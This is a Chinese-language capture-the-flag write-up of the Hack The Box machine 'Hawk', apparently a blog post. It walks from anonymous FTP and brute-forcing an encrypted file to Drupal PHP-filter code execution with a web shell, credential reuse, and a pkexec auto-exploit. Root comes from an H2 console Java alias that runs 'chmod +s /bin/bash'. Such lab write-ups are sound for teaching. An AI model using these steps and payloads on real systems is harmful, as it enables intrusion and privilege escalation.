[Meachines] [Medium] Hawk AES解密+Drupal-PHP-Filter+/bin/python绕过+TRP00F 自动化权限提升+H2(DBMS)控制台权限提升

信息收集

IP AddressOpening Ports
10.10.10.102TCP:21,22,80,5435,8082,9092

$ nmap -p- 10.10.10.102 --min-rate 1000 -sC -sV

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Jun 16 22:21 messages
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh           OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
|   256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_  256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp   open  http          Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
5435/tcp open  tcpwrapped
8082/tcp open  http          H2 database http console
|_http-title: H2 Console
9092/tcp open  XmlIpcRegSvc?

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP && AES-Crack

http://10.10.10.102

image.png

http://10.10.10.102:8082/

image-1.png

$ ftp 10.10.10.102

Name (10.10.10.102:maptnh): anonymous

ftp> cd messages

ftp> ls -la

ftp> get .drupal.txt.enc

image-2.png

$ file .drupal.txt.enc

image-3.png

文件是用openssl加密的,base64编码

AES-Crack

https://github.com/HrushikeshK/openssl-bruteforce

$ python2 brute.py /usr/share/wordlists/rockyou.txt ./ciphers.txt .drupal.txt.enc 2>/dev/null

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

PencilKeyboardScanner123

Drupal

http://10.10.10.102/

image-6.png

修改插件启用PHP-Filter

image-7.png

“Content” -> “Add content” -> “Article”

image-8.png

<?php phpinfo(); ?>

打开预览

image-9.png

https://github.com/flozz/p0wny-shell/blob/master/shell.php

image-10.png

User.txt

9f47c9fdff18907064d6d57bd4d9e5ba

权限提升

www-data -> daniel

www-data@hawk:/home/daniel$ cat /var/www/html/sites/default/settings.php

image-11.png

password:drupal4hawk

maptnh@maptnh:/tmp/openssl-bruteforce$ ssh daniel@10.10.10.102

>>> import os;os.system("/bin/bash")

image-12.png

TRP00F 自动化权限提升

maptnh@maptnh:~/Desktop/htb/Github/TRP00f$ python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y

image-13.png

通过备份文件读取root.txt

maptnh@maptnh:/tmp/openssl-bruteforce$ ssh daniel@10.10.10.102 -L 8082:localhost:8082

http://127.0.0.1:8082/login.jsp?jsessionid=3a19497d3b1686fc35958129581b5efc

image-14.png

来到Tools

image-15.png

寻找db结尾的文件打包进备份文件zip

image-16.png

daniel@hawk:~$ mkdir ~/test

daniel@hawk:~$ ln -s /root/root.txt ~/test/t.trace.db

image-18.png

daniel@hawk:~/test$ file res

image-19.png

image-20.png

通过不存在的数据库登录sa用户

JDBC URL -> jdbc:h2:~/test-

image-21.png

image-22.png

DBMS控制台命令执行

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;

image-23.png

CALL SHELLEXEC('whoami');

image-24.png

CALL SHELLEXEC('chmod +s /bin/bash');

image-25.png

daniel@hawk:~/test$ /bin/bash -p

image-26.png

Root.txt

c165e095945ba76c63cb8ec847697959

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值